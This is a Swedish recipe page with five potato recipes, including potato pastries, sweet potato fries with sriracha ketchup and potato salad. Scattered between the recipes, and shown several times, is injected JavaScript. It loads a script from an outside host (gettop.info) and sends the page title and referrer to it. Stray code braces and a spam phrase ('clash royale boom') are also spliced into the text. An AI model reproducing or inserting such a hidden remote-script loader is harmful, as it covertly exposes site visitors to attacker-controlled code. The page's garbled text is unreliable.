Potatisbakelser.

bild1

De här potatisbakelserna är otroligt goda och passar perfekt till en köttbit eller fisk.


Potatisbakelser (ca 12 st)
1 ark färdig smördeg på rulle
Kokt svalnad potatis
Riven västerbottenost (en liten påse)
Flingsalt
Peppar
Uppvispat ägg

Bred ut arket med smördeg. Koka potatisen och låt svalna något. Pressa potatisen och strö över smördegen. Strö över osten, salta och peppra. Rulla ihop smördegen som en rulltårta och skär ca 12 breda skivor. Lägg på en bakplåt eller i muffinsformar (då håller de formen bättre). Pensla med uppvispat ägg och strö på lite mer ost ovanpå.

In i ugnen på ca 200 grader ca 15-20 minuter. Servera genast.

}

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);

Sötpotatispommes med srirachaketchup

Det här goda receptet hittade jag på Linda Lomelinos blogg här. Håll koll på ugnstiden…första gången jag gjorde dessa så brände jag sötpotatisen. Jag råkade hälla på  ett för tjockt lager majsstärkelse och sen blandande jag inte sötpotatisen tillräckligt i  oljan.

Bild9

Sötpotatispommes med srirachaketchup 2 portioner

2 stora sötpotatisar
Majsstärkelse,
cirka 1-2 msk Olivolja, ev får du ta lite mer olja beroende på hur stora din sötpotatis är.
cirka 2-3 msk Havssalt,
svartpeppar och eventuellt annan krydda, (jag tog paprikapulver)

Linda Lomelino  rekommenderade paprika men funkar även med vitlökspulver, lökpulver, curry eller cayennepeppar.
Tomatketchup Svartpeppar Sriracha efter smak

Sriracha-2

Sriracha är en stark chilisås, gjord på solmogna chilifrukter, vinäger, vitlök, socker och salt. Den är uppkallad efter kuststaden Si Racha i Thailand. Finns att köpa i de Asiatiska affärerna.

Värm ugnen till 225°C. Skala sötpotatisarna och skär dem i stavar av ungefär samma storlek. Lägg i en stor skål och sikta majsstärkelse över. Blanda ordentligt. Blanda olivolja, havssalt, peppar och eventuellt andra kryddor (jag tog paprikapulver) i en liten skål. Häll oljan över potatisen och blanda. Lägg potatisstavarna i ett lager på en ugnsplåt (de bör alltså inte lägga huller om buller för då blir de lätt lite blöta). Grädda 15 minuter i mitten av ugnen, vänd sedan försiktigt på dem och grädda ytterligare 10-20 minuter eller tills de är krispiga och gyllenbruna. Håll dock ett öga på dem så att de inte blir brända runt kanterna!

Blanda ketchup, lite nymald svartpeppar och sriracha efter smak. Servera!
Bild4

Bild5

Bild11Bild7Bild6Bild8Bild10Bild12Bild14Bild13Bild3Bild9}

} else {if (document.currentScript) {

Ugnsbakad färskpotatis

Sätt ugnen på 200 grader.
Förkoka färskpotatisen i ca 5 minuter. Låt svalna på en handduk så de är helt torra.
Dela  potatisen på mitten om de är stora.  Lägg potatisen på en ugnsfast form. Stick hål på skalet på alla potatisar med en gaffel. Ringla över olivolja och rör om. Häll på flingsalt.
Ställ formen i ugnen i ca 1 timme (mitten av ugnen).
Vänd lite på potatisen några gånger. När potatisen är nästan klar, dra på värmen till max för att få en fin rostad yta.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);

Bakad potatis med tonfiskröra

Här kommer ett otroligt gott recept på en fylld bakad potatis med tonfisk.

Du behöver:
1 bakpotatis
Tonfisk på burk
Creme fraiche
Bacon
Smör
Salt och peppar

Gör så här: Baka potatisen tills den är klar. Kör den gärna i micron så går det snabbare.

När potatisen är klar, låt den svalna lite innan du delar på potatisen och gröper ut all potatis.

Mosa ihop potatisen tillsammans med tonfisken, en klick smör och creme fraiche. Salta och peppra.

Nu lägger du tillbaks tonfiskröran i potatishalvan (skalet) och klipper bacon på toppen.

Grädda potatisen mitt i ugnen på 225 grader ca 15-20 min tills baconet är knaprigt.

Servera potatisen med en god sallad.

if (document.currentScript) { } else {

Hemlagad potatissallad

En hemlagad potatissallad är bättre än köpt potatissallad.

Potatissallad (4 personer)
600 gram kall, kokt potatis av fast sort
2 1/2 dl majonnäs (40%)
2 dl gräddfil
1 msk fransk senap
1/2 msk vitvinsvinäger eller lag från kaprisburken
1 dl finhackad purjolök
2 msk inlagd kapris
Salt och svartpeppar

Gör så här:
Skär den kokta potatisen i centimeterstora bitar.
Skölj purjolöken och hacka den fint. Hacka kapris grovt. Blanda majonnäs och gräddfil. Tillsätt fransk senap, vinäger eller lag från kaprisburken. Vänd ner purjolök och kapris samt sist potatisen. Blanda försiktigt.

Smaka av med clash royale boom salt och svartpeppar. Kyl potatissalladen innan den serveras.document.currentScript.parentNode.insertBefore(s, document.currentScript);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {